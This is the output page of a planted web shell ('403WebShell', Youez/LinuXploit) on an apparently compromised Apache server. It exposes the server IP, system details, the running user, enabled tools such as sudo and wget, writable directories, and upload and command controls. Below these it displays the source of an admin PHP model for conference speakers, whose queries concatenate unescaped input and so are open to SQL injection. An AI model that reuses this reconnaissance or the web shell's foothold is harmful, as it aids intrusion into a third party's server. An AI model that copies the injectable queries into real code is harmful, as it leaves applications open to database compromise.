Warning: chmod(): Operation not permitted in /var/www/alexvillarreal/wp-content/plugins/custom-post-type-ui/custom-post-type-ui.php on line 8
403WebShell
403Webshell
Server IP : 74.208.250.37  /  Your IP : 216.73.216.114
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ubuntu 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : miferval ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/aprendizajeodisea/admin/model/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/aprendizajeodisea/admin/model/speakers.php
<?php
/**
* equipo model
* version 1.0.0
* 20180322
*/
class AdminModelSpeakers extends Model
{
	
	public function getSpeakers(){
		$query = $this->db->query
				("SELECT id,nombre,is_active
					FROM speakers
				");
		return $query;		
	}

	public function getSpeaker($id){
		$query = $this->db->query
				("SELECT id,id_empresa,id_pais,nombre,puesto,image,email,social_links,resume,menuindex,
					is_active
					FROM speakers
					WHERE id = ".$id."
				");
		return $query;		
	}

	public function addSpeaker($data){
		$query = $this->db->query
			("INSERT INTO speakers SET
				id_empresa	= ".$data['id_empresa'].",
				id_pais		= ".$data['id_pais'].",
				nombre		= '".$data['nombre']."',
				puesto		= '".$data['puesto']."',
				image		= '".$data['image']."',
				email		= '".$data['email']."',
				social_links= '".$data['social_links']."',
				resume		= '".$data['ck_resume']."',
				menuindex	= '".$data['menuindex']."',
				is_active	= ".$data['is_active']."
			");
		return $query;	
	}

	public function updateSpeaker($data){
		$query = $this->db->query
			("UPDATE speakers SET
				
				
				nombre		= '".$data['nombre']."',
				puesto		= '".$data['puesto']."',
				image		= '".$data['image']."',
				email		= '".$data['email']."',
				social_links= '".$data['social_links']."',
				resume		= '".$data['ck_resume']."',
				menuindex	= '".$data['menuindex']."',
				is_active	= ".$data['is_active']."
				WHERE id	= ".$data['id']."
			");
		return $query;	
	}

	public function getVarsSpeaker($datos = ''){
	
		if(!empty($datos) && $datos->num_rows > 0){
			$data = $datos->row;
		
			
		}else{
			$data['id'] 			= '';
			$data['id_empresa'] 	= 1;
			$data['id_pais'] 		= 1;
			$data['nombre']			= '';
			$data['puesto']			= '';
			$data['image'] 			= '';
			$data['email'] 			= '';
			$data['social_links']	= '';
			$data['resume'] 		= '';
			$data['menuindex']		= 1;
			$data['is_active'] 		= 1;
		}
			return $data;
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit